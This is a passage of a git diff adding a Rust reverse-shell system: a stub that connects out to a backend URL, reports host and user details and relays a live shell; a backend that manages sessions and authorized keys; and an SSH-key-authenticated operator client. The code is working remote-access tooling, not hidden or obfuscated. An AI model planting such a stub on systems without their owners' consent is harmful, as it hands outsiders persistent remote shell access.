+ let mut found = None; + for kv in state.connections.iter() { + if kv.key().0 == session { + if found.is_some() { + return Some(OpResp::Err("multiple connections; specify id".into())); + } + found = Some(kv.key().1); + } + } + match found { + Some(c) => c, + None => return Some(OpResp::Err("no connections".into())), + } + } + }; + let Some(handle) = state.connections.get(&(session.clone(), conn_id)).map(|h| h.clone()) else { + return Some(OpResp::Err("connection not found".into())); + }; + { + let mut a = handle.attach.lock().await; + *a = Some(AttachSink { req_id, sender: out_tx.clone() }); + } + let _ = handle.to_stub.send(BackendStubMsg::Resize { cols, rows }).await; + *attached = Some((session, conn_id, req_id)); + Some(OpResp::AttachReady { connection_id: conn_id }) + } + OpReq::AttachIO(frame) => { + let Some((session, conn_id, _)) = attached.clone() else { + return Some(OpResp::Err("not attached".into())); + }; + let Some(handle) = state.connections.get(&(session, conn_id)).map(|h| h.clone()) else { + return Some(OpResp::Err("connection gone".into())); + }; + match frame { + AttachIOFrame::Stdin(b) => { + let _ = handle.to_stub.send(BackendStubMsg::Stdin(b)).await; + } + AttachIOFrame::Resize { cols, rows } => { + let _ = handle.to_stub.send(BackendStubMsg::Resize { cols, rows }).await; + } + AttachIOFrame::Kill => { + let _ = handle.to_stub.send(BackendStubMsg::Kill).await; + } + AttachIOFrame::Eof => { + let _ = handle.to_stub.send(BackendStubMsg::Stdin(Vec::new())).await; + } + } + None + } + OpReq::Detach => { + if let Some((s, c, _)) = attached.take() { + if let Some(handle) = state.connections.get(&(s, c)) { + let mut a = handle.attach.lock().await; + *a = None; + } + } + Some(OpResp::Ok) + } + OpReq::KeysList => { + let text = persist::load_authorized_keys_text(&state.cfg.authorized_keys_path()) + .await + .unwrap_or_default(); + let keys: Vec = text + .lines() + .map(|l| l.trim().to_string()) + .filter(|l| !l.is_empty()) + .collect(); + Some(OpResp::Keys(keys)) + } + OpReq::KeysAppend { keys } => { + let path = state.cfg.authorized_keys_path(); + let mut text = persist::load_authorized_keys_text(&path).await.unwrap_or_default(); + for k in keys { + let k = k.trim(); + if k.is_empty() { + continue; + } + if !text.lines().any(|l| l.trim() == k) { + if !text.is_empty() && !text.ends_with('\n') { + text.push('\n'); + } + text.push_str(k); + text.push('\n'); + } + } + if let Err(e) = persist::save_authorized_keys_text(&path, &text).await { + return Some(OpResp::Err(format!("persist: {e}"))); + } + reload_authorized_keys(state, &text).await; + Some(OpResp::Ok) + } + OpReq::KeysRemove { keys } => { + let path = state.cfg.authorized_keys_path(); + let text = persist::load_authorized_keys_text(&path).await.unwrap_or_default(); + let targets: Vec = keys.iter().map(|k| k.trim().to_string()).collect(); + let new: String = text + .lines() + .filter(|l| { + let lt = l.trim(); + !targets.iter().any(|t| t == lt) + }) + .collect::>() + .join("\n"); + let new = if new.is_empty() { new } else { format!("{}\n", new) }; + if let Err(e) = persist::save_authorized_keys_text(&path, &new).await { + return Some(OpResp::Err(format!("persist: {e}"))); + } + reload_authorized_keys(state, &new).await; + Some(OpResp::Ok) + } + OpReq::KeysReplace { content } => { + let path = state.cfg.authorized_keys_path(); + if let Err(e) = persist::save_authorized_keys_text(&path, &content).await { + return Some(OpResp::Err(format!("persist: {e}"))); + } + reload_authorized_keys(state, &content).await; + Some(OpResp::Ok) + } + OpReq::Watch { session } => { + let mut rx = state.event_bus.subscribe(); + let tx = out_tx.clone(); + tokio::spawn(async move { + while let Ok(ev) = rx.recv().await { + let pass = match &ev { + OpEvent::NewConnection(v) => session.as_ref().map_or(true, |s| &v.session_id == s), + OpEvent::ConnectionClosed { session: s, .. } => session.as_ref().map_or(true, |x| x == s), + OpEvent::NewSession(v) => session.as_ref().map_or(true, |s| &v.id == s), + OpEvent::SessionDeleted { session: s } => session.as_ref().map_or(true, |x| x == s), + }; + if !pass { + continue; + } + if tx.send(BackendOpMsg::Event(ev)).await.is_err() { + break; + } + } + }); + Some(OpResp::WatchStarted) + } + } +} + +async fn list_sessions(state: &Arc) -> Vec { + let s = state.sessions.read().await; + s.values() + .map(|r| SessionView { + id: r.id.clone(), + has_password: r.password_hash.is_some(), + created_at: r.created_at, + connection_count: state.connection_count(&r.id), + }) + .collect() +} + +async fn disconnect_session(state: &Arc, name: &str) { + let mut to_kill = Vec::new(); + for kv in state.connections.iter() { + if kv.key().0 == name { + to_kill.push((kv.key().clone(), kv.value().clone())); + } + } + for (_, handle) in &to_kill { + let _ = handle.to_stub.send(BackendStubMsg::Kill).await; + } +} + +async fn reload_authorized_keys(state: &Arc, text: &str) { + let parsed = parse_authorized_keys(text); + let mut k = state.authorized_keys.write().await; + *k = parsed; +} + +async fn send(socket: &mut WebSocket, msg: &BackendOpMsg) -> Result<(), axum::Error> { + let t = serde_json::to_string(msg).map_err(|e| axum::Error::new(e))?; + socket.send(Message::Text(t)).await +} + +async fn recv_op(socket: &mut WebSocket) -> Option { + loop { + match socket.recv().await? { + Ok(Message::Text(t)) => return serde_json::from_str(&t).ok(), + Ok(Message::Binary(b)) => return serde_json::from_slice(&b).ok(), + Ok(Message::Ping(_)) | Ok(Message::Pong(_)) => continue, + Ok(Message::Close(_)) => return None, + Err(_) => return None, + } + } +} + +fn now_unix() -> i64 { + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_secs() as i64) + .unwrap_or(0) +} diff --git a/crates/rsh-backend/src/ws_stub.rs b/crates/rsh-backend/src/ws_stub.rs new file mode 100644 index 0000000..4f7eb77 --- /dev/null +++ b/crates/rsh-backend/src/ws_stub.rs @@ -0,0 +1,155 @@ +use crate::auth::verify_password; +use crate::state::{AppState, ConnHandle}; +use axum::extract::ws::{Message, WebSocket}; +use axum::extract::{State, WebSocketUpgrade}; +use axum::response::IntoResponse; +use futures_util::{SinkExt, StreamExt}; +use rsh_types::{BackendOpMsg, BackendStubMsg, ConnectionView, OpEvent, OpResp, StubMsg}; +use std::sync::Arc; +use tokio::sync::{mpsc, Mutex}; + +pub async fn handler( + ws: WebSocketUpgrade, + State(state): State>, +) -> impl IntoResponse { + ws.on_upgrade(move |socket| run(socket, state)) +} + +async fn run(mut socket: WebSocket, state: Arc) { + let hello = match recv_text::(&mut socket).await { + Some(StubMsg::Hello { session_id, password, info }) => (session_id, password, info), + _ => { + let _ = send(&mut socket, &BackendStubMsg::Rejected { reason: "expected Hello".into() }).await; + return; + } + }; + let (session_id, password, info) = hello; + let sessions = state.sessions.read().await; + let session = match sessions.get(&session_id) { + Some(s) => s.clone(), + None => { + drop(sessions); + let _ = send(&mut socket, &BackendStubMsg::Rejected { reason: "no such session".into() }).await; + return; + } + }; + drop(sessions); + if let Some(hash) = &session.password_hash { + let provided = password.unwrap_or_default(); + if !verify_password(&provided, hash) { + let _ = send(&mut socket, &BackendStubMsg::Rejected { reason: "bad password".into() }).await; + return; + } + } + let conn_id = state.alloc_conn_id(&session_id); + let (to_stub_tx, mut to_stub_rx) = mpsc::channel::(64); + let connected_at = now_unix(); + let handle = Arc::new(ConnHandle { + info: info.clone(), + to_stub: to_stub_tx.clone(), + attach: Mutex::new(None), + connected_at, + }); + state.connections.insert((session_id.clone(), conn_id), handle.clone()); + let _ = state.event_bus.send(OpEvent::NewConnection(ConnectionView { + session_id: session_id.clone(), + connection_id: conn_id, + info: info.clone(), + connected_at, + })); + if send(&mut socket, &BackendStubMsg::Accepted { connection_id: conn_id }).await.is_err() { + cleanup(&state, &session_id, conn_id).await; + return; + } + + let (mut ws_sink, mut ws_stream) = socket.split(); + + let writer = tokio::spawn(async move { + while let Some(msg) = to_stub_rx.recv().await { + let text = match serde_json::to_string(&msg) { + Ok(t) => t, + Err(_) => break, + }; + if ws_sink.send(Message::Text(text)).await.is_err() { + break; + } + } + let _ = ws_sink.close().await; + }); + + let state_r = state.clone(); + let session_r = session_id.clone(); + let handle_r = handle.clone(); + let reader = tokio::spawn(async move { + while let Some(Ok(msg)) = ws_stream.next().await { + let text = match msg { + Message::Text(t) => t, + Message::Binary(b) => match String::from_utf8(b) { + Ok(s) => s, + Err(_) => continue, + }, + Message::Close(_) => break, + _ => continue, + }; + let parsed: StubMsg = match serde_json::from_str(&text) { + Ok(v) => v, + Err(_) => continue, + }; + match parsed { + StubMsg::Stdout(b) => forward_op(&handle_r, OpResp::Stdout(b)).await, + StubMsg::Stderr(b) => forward_op(&handle_r, OpResp::Stderr(b)).await, + StubMsg::Exited { code } => { + forward_op(&handle_r, OpResp::Exited { code }).await; + break; + } + StubMsg::Pong => {} + StubMsg::Hello { .. } => {} + } + } + cleanup(&state_r, &session_r, conn_id).await; + }); + + let _ = tokio::join!(writer, reader); +} + +async fn forward_op(handle: &Arc, resp: OpResp) { + let attach = handle.attach.lock().await; + if let Some(sink) = attach.as_ref() { + let _ = sink + .sender + .send(BackendOpMsg::Resp { id: sink.req_id, body: resp }) + .await; + } +} + +async fn cleanup(state: &Arc, session_id: &str, conn_id: u64) { + state.connections.remove(&(session_id.to_string(), conn_id)); + let _ = state.event_bus.send(OpEvent::ConnectionClosed { + session: session_id.to_string(), + connection_id: conn_id, + }); +} + +async fn send(socket: &mut WebSocket, msg: &BackendStubMsg) -> Result<(), axum::Error> { + let t = serde_json::to_string(msg).map_err(|e| axum::Error::new(e))?; + socket.send(Message::Text(t)).await +} + +async fn recv_text(socket: &mut WebSocket) -> Option { + loop { + match socket.recv().await? { + Ok(Message::Text(t)) => return serde_json::from_str(&t).ok(), + Ok(Message::Binary(b)) => return serde_json::from_slice(&b).ok(), + Ok(Message::Ping(_)) | Ok(Message::Pong(_)) => continue, + Ok(Message::Close(_)) => return None, + Err(_) => return None, + } + } +} + +fn now_unix() -> i64 { + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_secs() as i64) + .unwrap_or(0) +} diff --git a/crates/rsh-types/Cargo.toml b/crates/rsh-types/Cargo.toml new file mode 100644 index 0000000..2e322ac --- /dev/null +++ b/crates/rsh-types/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "rsh-types" +version = "0.1.0" +edition.workspace = true + +[dependencies] +serde = { workspace = true } +serde_json = { workspace = true } +thiserror = { workspace = true } diff --git a/crates/rsh-types/src/lib.rs b/crates/rsh-types/src/lib.rs new file mode 100644 index 0000000..f5cf240 --- /dev/null +++ b/crates/rsh-types/src/lib.rs @@ -0,0 +1,138 @@ +use serde::{Deserialize, Serialize}; + +pub const PROTOCOL_VERSION: u32 = 1; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct StubInfo { + pub hostname: String, + pub user: String, + pub os: String, + pub arch: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SessionView { + pub id: String, + pub has_password: bool, + pub created_at: i64, + pub connection_count: u32, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ConnectionView { + pub session_id: String, + pub connection_id: u64, + pub info: StubInfo, + pub connected_at: i64, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SessionRecord { + pub id: String, + pub password_hash: Option, + pub created_at: i64, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(tag = "t", content = "c")] +pub enum StubMsg { + Hello { + session_id: String, + password: Option, + info: StubInfo, + }, + Stdout(Vec), + Stderr(Vec), + Exited { code: Option }, + Pong, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(tag = "t", content = "c")] +pub enum BackendStubMsg { + Accepted { connection_id: u64 }, + Rejected { reason: String }, + Stdin(Vec), + Resize { cols: u16, rows: u16 }, + Kill, + Ping, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(tag = "t", content = "c")] +pub enum AttachIOFrame { + Stdin(Vec), + Resize { cols: u16, rows: u16 }, + Eof, + Kill, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(tag = "t", content = "c")] +pub enum OpReq { + SessionCreate { name: String, password_hash: Option }, + SessionDelete { name: String, disconnect: bool }, + SessionUpdate { + name: String, + set_password_hash: Option>, + disconnect: bool, + }, + SessionList, + ConnectionList { session: Option }, + Attach { + session: String, + connection_id: Option, + pty: bool, + cols: u16, + rows: u16, + }, + AttachIO(AttachIOFrame), + Detach, + KeysList, + KeysAppend { keys: Vec }, + KeysRemove { keys: Vec }, + KeysReplace { content: String }, + Watch { session: Option }, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(tag = "t", content = "c")] +pub enum OpResp { + Ok, + Err(String), + Sessions(Vec), + Connections(Vec), + AttachReady { connection_id: u64 }, + Stdout(Vec), + Stderr(Vec), + Exited { code: Option }, + Keys(Vec), + WatchStarted, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(tag = "t", content = "c")] +pub enum OpEvent { + NewConnection(ConnectionView), + ConnectionClosed { session: String, connection_id: u64 }, + NewSession(SessionView), + SessionDeleted { session: String }, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(tag = "t", content = "c")] +pub enum OpMsg { + AuthInit { pubkey_openssh: String }, + AuthSign { signature: Vec, alg: String }, + Req { id: u64, body: OpReq }, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(tag = "t", content = "c")] +pub enum BackendOpMsg { + Challenge { nonce: [u8; 32] }, + AuthOk, + AuthFail { reason: String }, + Resp { id: u64, body: OpResp }, + Event(OpEvent), +} diff --git a/crates/rsh/Cargo.toml b/crates/rsh/Cargo.toml new file mode 100644 index 0000000..9088a88 --- /dev/null +++ b/crates/rsh/Cargo.toml @@ -0,0 +1,20 @@ +[package] +name = "rsh" +version = "0.1.0" +edition.workspace = true + +[dependencies] +rsh-types = { workspace = true } +tokio = { workspace = true } +tokio-tungstenite = { workspace = true } +futures-util = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +clap = { workspace = true } +portable-pty = { workspace = true } +anyhow = { workspace = true } +bytes = { workspace = true } +tracing = { workspace = true } +tracing-subscriber = { workspace = true } +hostname = { workspace = true } +whoami = { workspace = true } diff --git a/crates/rsh/src/main.rs b/crates/rsh/src/main.rs new file mode 100644 index 0000000..6e15273 --- /dev/null +++ b/crates/rsh/src/main.rs @@ -0,0 +1,44 @@ +mod pty; +mod ws; + +use anyhow::Result; +use clap::Parser; +use std::time::Duration; +use tracing_subscriber::EnvFilter; + +#[derive(Parser, Debug, Clone)] +#[command(version, about = "rsh reverse-shell stub")] +struct Args { + #[arg(long)] + url: String, + #[arg(long)] + session: String, + #[arg(long)] + password: Option, + #[arg(long)] + shell: Option, + #[arg(long, default_value_t = false)] + no_pty: bool, +} + +#[tokio::main] +async fn main() -> Result<()> { + let filter = EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("warn,rsh=info")); + tracing_subscriber::fmt().with_env_filter(filter).with_writer(std::io::stderr).init(); + + let args = Args::parse(); + let mut backoff = Duration::from_secs(1); + loop { + match ws::run(&args).await { + Ok(ws::Outcome::Exited) => return Ok(()), + Ok(ws::Outcome::Rejected(reason)) => { + eprintln!("rsh: rejected by backend: {reason}"); + return Ok(()); + } + Ok(ws::Outcome::Dropped) | Err(_) => { + tokio::time::sleep(backoff).await; + backoff = (backoff * 2).min(Duration::from_secs(30)); + } + } + } +} diff --git a/crates/rsh/src/pty.rs b/crates/rsh/src/pty.rs new file mode 100644 index 0000000..5e62af4 --- /dev/null +++ b/crates/rsh/src/pty.rs @@ -0,0 +1,87 @@ +use anyhow::Result; +use portable_pty::{native_pty_system, CommandBuilder, PtySize}; +use std::io::{Read, Write}; +use tokio::sync::mpsc; + +pub struct PtySession { + pub stdout_rx: mpsc::Receiver>, + pub stdin_tx: mpsc::Sender>, + pub resize_tx: std::sync::mpsc::Sender, + pub exit_rx: tokio::sync::oneshot::Receiver>, + pub kill: KillHandle, +} + +pub struct KillHandle { + inner: Box, +} + +impl KillHandle { + pub fn kill(&mut self) { + let _ = self.inner.kill(); + } +} + +pub fn spawn(shell: &str, cols: u16, rows: u16) -> Result { + let pty_system = native_pty_system(); + let pair = pty_system.openpty(PtySize { rows, cols, pixel_width: 0, pixel_height: 0 })?; + let cmd = CommandBuilder::new(shell); + let mut child = pair.slave.spawn_command(cmd)?; + drop(pair.slave); + + let mut reader = pair.master.try_clone_reader()?; + let mut writer = pair.master.take_writer()?; + let master = pair.master; + + let (stdout_tx, stdout_rx) = mpsc::channel::>(64); + let (stdin_tx, mut stdin_rx) = mpsc::channel::>(64); + let (resize_tx, resize_rx) = std::sync::mpsc::channel::(); + let (exit_tx, exit_rx) = tokio::sync::oneshot::channel::>(); + let killer = child.clone_killer(); + + std::thread::spawn(move || { + let mut buf = [0u8; 8192]; + loop { + match reader.read(&mut buf) { + Ok(0) => break, + Ok(n) => { + if stdout_tx.blocking_send(buf[..n].to_vec()).is_err() { + break; + } + } + Err(_) => break, + } + } + }); + + std::thread::spawn(move || { + while let Some(b) = stdin_rx.blocking_recv() { + if writer.write_all(&b).is_err() { + break; + } + let _ = writer.flush(); + } + }); + + std::thread::spawn(move || { + while let Ok(size) = resize_rx.recv() { + let _ = master.resize(size); + } + }); + + std::thread::spawn(move || { + let status = child.wait().ok(); + let code = status.and_then(|s| { + let raw = s.exit_code(); + Some(raw as i32) + }); + let _ = exit_tx.send(code); + }); + + Ok(PtySession { + stdout_rx, + stdin_tx, + resize_tx, + exit_rx, + kill: KillHandle { inner: killer }, + }) +} diff --git a/crates/rsh/src/ws.rs b/crates/rsh/src/ws.rs new file mode 100644 index 0000000..b7cbcba --- /dev/null +++ b/crates/rsh/src/ws.rs @@ -0,0 +1,187 @@ +use crate::pty; +use crate::Args; +use anyhow::{anyhow, Result}; +use futures_util::{SinkExt, StreamExt}; +use rsh_types::{BackendStubMsg, StubInfo, StubMsg}; +use tokio_tungstenite::tungstenite::Message; + +pub enum Outcome { + Exited, + Rejected(String), + Dropped, +} + +pub async fn run(args: &Args) -> Result { + let (mut ws, _) = tokio_tungstenite::connect_async(&args.url).await?; + let info = StubInfo { + hostname: hostname::get().ok().and_then(|h| h.into_string().ok()).unwrap_or_default(), + user: whoami::username(), + os: std::env::consts::OS.into(), + arch: std::env::consts::ARCH.into(), + }; + let hello = StubMsg::Hello { + session_id: args.session.clone(), + password: args.password.clone(), + info, + }; + ws.send(Message::Text(serde_json::to_string(&hello)?)).await?; + + let accepted = loop { + let Some(msg) = ws.next().await else { return Ok(Outcome::Dropped); }; + let msg = msg?; + let text = match msg { + Message::Text(t) => t, + Message::Binary(b) => String::from_utf8(b).map_err(|e| anyhow!(e))?, + Message::Close(_) => return Ok(Outcome::Dropped), + _ => continue, + }; + let parsed: BackendStubMsg = serde_json::from_str(&text)?; + match parsed { + BackendStubMsg::Accepted { connection_id } => { + tracing::info!(connection_id, "accepted"); + break true; + } + BackendStubMsg::Rejected { reason } => return Ok(Outcome::Rejected(reason)), + _ => continue, + } + }; + let _ = accepted; + + let shell = args + .shell + .clone() + .or_else(|| std::env::var("SHELL").ok()) + .unwrap_or_else(|| "/bin/sh".to_string()); + + if args.no_pty { + run_no_pty(ws, &shell).await + } else { + run_pty(ws, &shell).await + } +} + +async fn run_pty( + ws: tokio_tungstenite::WebSocketStream>, + shell: &str, +) -> Result { + let mut session = pty::spawn(shell, 80, 24)?; + let (mut sink, mut stream) = ws.split(); + + loop { + tokio::select! { + biased; + code = &mut session.exit_rx => { + let code = code.ok().flatten(); + let _ = sink.send(Message::Text(serde_json::to_string(&StubMsg::Exited { code })?)).await; + let _ = sink.close().await; + return Ok(Outcome::Exited); + } + Some(out) = session.stdout_rx.recv() => { + if sink.send(Message::Text(serde_json::to_string(&StubMsg::Stdout(out))?)).await.is_err() { + session.kill.kill(); + return Ok(Outcome::Dropped); + } + } + msg = stream.next() => { + let Some(msg) = msg else { session.kill.kill(); return Ok(Outcome::Dropped); }; + let Ok(msg) = msg else { session.kill.kill(); return Ok(Outcome::Dropped); }; + let text = match msg { + Message::Text(t) => t, + Message::Binary(b) => match String::from_utf8(b) { Ok(s) => s, Err(_) => continue }, + Message::Close(_) => { session.kill.kill(); return Ok(Outcome::Dropped); } + Message::Ping(p) => { let _ = sink.send(Message::Pong(p)).await; continue; } + _ => continue, + }; + let parsed: BackendStubMsg = match serde_json::from_str(&text) { Ok(v) => v, Err(_) => continue }; + match parsed { + BackendStubMsg::Stdin(b) => { let _ = session.stdin_tx.send(b).await; } + BackendStubMsg::Resize { cols, rows } => { + let _ = session.resize_tx.send(portable_pty::PtySize { cols, rows, pixel_width: 0, pixel_height: 0 }); + } + BackendStubMsg::Kill => { session.kill.kill(); } + BackendStubMsg::Ping => { let _ = sink.send(Message::Text(serde_json::to_string(&StubMsg::Pong)?)).await; } + _ => {} + } + } + } + } +} + +async fn run_no_pty( + ws: tokio_tungstenite::WebSocketStream>, + shell: &str, +) -> Result { + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + use tokio::process::Command; + let mut child = Command::new(shell) + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn()?; + let mut stdin = child.stdin.take().ok_or_else(|| anyhow!("no stdin"))?; + let mut stdout = child.stdout.take().ok_or_else(|| anyhow!("no stdout"))?; + let mut stderr = child.stderr.take().ok_or_else(|| anyhow!("no stderr"))?; + let (mut sink, mut stream) = ws.split(); + + let (out_tx, mut out_rx) = tokio::sync::mpsc::channel::(64); + let out_tx2 = out_tx.clone(); + tokio::spawn(async move { + let mut buf = [0u8; 4096]; + loop { + match stdout.read(&mut buf).await { + Ok(0) | Err(_) => break, + Ok(n) => { + if out_tx.send(StubMsg::Stdout(buf[..n].to_vec())).await.is_err() { + break; + } + } + } + } + }); + tokio::spawn(async move { + let mut buf = [0u8; 4096]; + loop { + match stderr.read(&mut buf).await { + Ok(0) | Err(_) => break, + Ok(n) => { + if out_tx2.send(StubMsg::Stderr(buf[..n].to_vec())).await.is_err() { + break; + } + } + } + } + }); + + loop { + tokio::select! { + status = child.wait() => { + let code = status.ok().and_then(|s| s.code()); + let _ = sink.send(Message::Text(serde_json::to_string(&StubMsg::Exited { code })?)).await; + let _ = sink.close().await; + return Ok(Outcome::Exited); + } + Some(msg) = out_rx.recv() => { + if sink.send(Message::Text(serde_json::to_string(&msg)?)).await.is_err() { + let _ = child.kill().await; + return Ok(Outcome::Dropped); + } + } + m = stream.next() => { + let Some(m) = m else { let _ = child.kill().await; return Ok(Outcome::Dropped); }; + let Ok(m) = m else { let _ = child.kill().await; return Ok(Outcome::Dropped); }; + let text = match m { + Message::Text(t) => t, + Message::Binary(b) => match String::from_utf8(b) { Ok(s) => s, Err(_) => continue }, + Message::Close(_) => { let _ = child.kill().await; return Ok(Outcome::Dropped); } + _ => continue, + }; + let parsed: BackendStubMsg = match serde_json::from_str(&text) { Ok(v) => v, Err(_) => continue }; + match parsed { + BackendStubMsg::Stdin(b) => { let _ = stdin.write_all(&b).await; } + BackendStubMsg::Kill => { let _ = child.kill().await; } + _ => {} + } + } + } + } +} diff --git a/crates/rshc/Cargo.toml b/crates/rshc/Cargo.toml new file mode 100644 index 0000000..1ab82e6 --- /dev/null +++ b/crates/rshc/Cargo.toml @@ -0,0 +1,34 @@ +[package] +name = "rshc" +version = "0.1.0" +edition.workspace = true + +[dependencies] +rsh-types = { workspace = true } +tokio = { workspace = true } +tokio-tungstenite = { workspace = true } +futures-util = { workspace = true } +clap = { workspace = true } +serde = { workspace = true } +serde_yaml = { workspace = true } +serde_json = { workspace = true } +inquire = { workspace = true } +owo-colors = { workspace = true } +comfy-table = { workspace = true } +crossterm = { workspace = true } +dirs = { workspace = true } +shellexpand = { workspace = true } +ssh-key = { workspace = true } +signature = { workspace = true } +anyhow = { workspace = true } +thiserror = { workspace = true } +reqwest = { workspace = true } +rpassword = { workspace = true } +humantime = { workspace = true } +time = { workspace = true } +tempfile = { workspace = true } +argon2 = { workspace = true } +rand = { workspace = true } +tracing = { workspace = true } +tracing-subscriber = { workspace = true } +bytes = { workspace = true } diff --git a/crates/rshc/src/auth.rs b/crates/rshc/src/auth.rs new file mode 100644 index 0000000..8952358 --- /dev/null +++ b/crates/rshc/src/auth.rs @@ -0,0 +1,197 @@ +use crate::config::Config; +use anyhow::{anyhow, Context, Result}; +use futures_util::stream::{SplitSink, SplitStream}; +use futures_util::{SinkExt, StreamExt}; +use rsh_types::{BackendOpMsg, OpEvent, OpMsg, OpReq, OpResp}; +use ssh_key::{HashAlg, PrivateKey}; +use std::collections::HashMap; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::sync::Arc; +use tokio::net::TcpStream; +use tokio::sync::{mpsc, oneshot, Mutex}; +use tokio_tungstenite::tungstenite::Message; +use tokio_tungstenite::{MaybeTlsStream, WebSocketStream}; + +type Ws = WebSocketStream>; +type WsSink = SplitSink; +type WsStream = SplitStream; + +enum PendingKind { + Once(oneshot::Sender), + Stream(mpsc::Sender), +} + +pub struct AuthedClient { + next_id: AtomicU64, + pending: Arc>>, + events_tx: Arc>>>, + out: mpsc::Sender, + _reader: tokio::task::JoinHandle<()>, + _writer: tokio::task::JoinHandle<()>, +} + +impl AuthedClient { + pub async fn connect(cfg: &Config) -> Result { + let key_path = cfg.ssh_key_path(); + let raw = std::fs::read(&key_path).with_context(|| format!("read {}", key_path.display()))?; + let mut priv_key = PrivateKey::from_openssh(&raw).context("parse openssh private key")?; + if priv_key.is_encrypted() { + let pw = inquire::Password::new(&format!("Passphrase for {}:", key_path.display())) + .without_confirmation() + .prompt() + .map_err(|e| anyhow!("password prompt: {e}"))?; + priv_key = priv_key.decrypt(pw.as_bytes()).context("decrypt private key")?; + } + let pub_openssh = priv_key.public_key().to_openssh().context("encode pubkey")?; + + let (ws, _) = tokio_tungstenite::connect_async(&cfg.backend_url) + .await + .with_context(|| format!("ws connect {}", cfg.backend_url))?; + let (mut sink, mut stream) = ws.split(); + + send_msg(&mut sink, &OpMsg::AuthInit { pubkey_openssh: pub_openssh }).await?; + let challenge = recv_msg(&mut stream).await?; + let nonce = match challenge { + BackendOpMsg::Challenge { nonce } => nonce, + BackendOpMsg::AuthFail { reason } => return Err(anyhow!("auth fail: {reason}")), + other => return Err(anyhow!("unexpected: {other:?}")), + }; + let sig = priv_key + .sign("rsh-auth", HashAlg::Sha512, &nonce) + .context("sign challenge")?; + let alg = sig.algorithm().as_str().to_string(); + let pem = sig.to_pem(ssh_key::LineEnding::LF).context("encode signature")?; + send_msg(&mut sink, &OpMsg::AuthSign { signature: pem.into_bytes(), alg }).await?; + match recv_msg(&mut stream).await? { + BackendOpMsg::AuthOk => {} + BackendOpMsg::AuthFail { reason } => return Err(anyhow!("auth fail: {reason}")), + other => return Err(anyhow!("unexpected after AuthSign: {other:?}")), + } + + let pending: Arc>> = Arc::new(Mutex::new(HashMap::new())); + let events_tx: Arc>>> = Arc::new(Mutex::new(None)); + let (out_tx, mut out_rx) = mpsc::channel::(64); + + let writer = tokio::spawn(async move { + while let Some(m) = out_rx.recv().await { + let txt = match serde_json::to_string(&m) { + Ok(t) => t, + Err(_) => break, + }; + if sink.send(Message::Text(txt)).await.is_err() { + break; + } + } + let _ = sink.close().await; + }); + + let pending_r = pending.clone(); + let events_tx_r = events_tx.clone(); + let reader = tokio::spawn(async move { + while let Some(msg) = stream.next().await { + let Ok(msg) = msg else { break }; + let txt = match msg { + Message::Text(t) => t, + Message::Binary(b) => match String::from_utf8(b) { Ok(s) => s, Err(_) => continue }, + Message::Close(_) => break, + _ => continue, + }; + let parsed: BackendOpMsg = match serde_json::from_str(&txt) { + Ok(v) => v, + Err(_) => continue, + }; + match parsed { + BackendOpMsg::Resp { id, body } => { + let mut p = pending_r.lock().await; + match p.get(&id) { + Some(PendingKind::Stream(tx)) => { + let _ = tx.send(body).await; + } + _ => { + if let Some(PendingKind::Once(tx)) = p.remove(&id) { + let _ = tx.send(body); + } + } + } + } + BackendOpMsg::Event(ev) => { + let lock = events_tx_r.lock().await; + if let Some(tx) = lock.as_ref() { + let _ = tx.send(ev).await; + } + } + _ => {} + } + } + }); + + Ok(Self { + next_id: AtomicU64::new(1), + pending, + events_tx, + out: out_tx, + _reader: reader, + _writer: writer, + }) + } + + pub async fn req(&self, body: OpReq) -> Result { + let id = self.next_id.fetch_add(1, Ordering::Relaxed); + let (tx, rx) = oneshot::channel(); + self.pending.lock().await.insert(id, PendingKind::Once(tx)); + self.out + .send(OpMsg::Req { id, body }) + .await + .map_err(|_| anyhow!("send failed (connection closed)"))?; + rx.await.map_err(|_| anyhow!("response dropped")) + } + + pub async fn req_stream(&self, body: OpReq) -> Result<(u64, mpsc::Receiver)> { + let id = self.next_id.fetch_add(1, Ordering::Relaxed); + let (tx, rx) = mpsc::channel(64); + self.pending.lock().await.insert(id, PendingKind::Stream(tx)); + self.out + .send(OpMsg::Req { id, body }) + .await + .map_err(|_| anyhow!("send failed"))?; + Ok((id, rx)) + } + + pub async fn drop_stream(&self, id: u64) { + self.pending.lock().await.remove(&id); + } + + pub async fn send_attach_io(&self, frame: rsh_types::AttachIOFrame) -> Result<()> { + let id = self.next_id.fetch_add(1, Ordering::Relaxed); + self.out + .send(OpMsg::Req { id, body: OpReq::AttachIO(frame) }) + .await + .map_err(|_| anyhow!("send failed")) + } + + pub async fn take_events(&self) -> mpsc::Receiver { + let (tx, rx) = mpsc::channel(64); + *self.events_tx.lock().await = Some(tx); + rx + } +} + +async fn send_msg(sink: &mut WsSink, msg: &OpMsg) -> Result<()> { + sink.send(Message::Text(serde_json::to_string(msg)?)) + .await + .map_err(|e| anyhow!(e)) +} + +async fn recv_msg(stream: &mut WsStream) -> Result { + loop { + let Some(msg) = stream.next().await else { return Err(anyhow!("connection closed")) }; + let msg = msg?; + let txt = match msg { + Message::Text(t) => t, + Message::Binary(b) => String::from_utf8(b)?, + Message::Close(_) => return Err(anyhow!("connection closed")), + _ => continue, + }; + return Ok(serde_json::from_str(&txt)?); + } +} diff --git 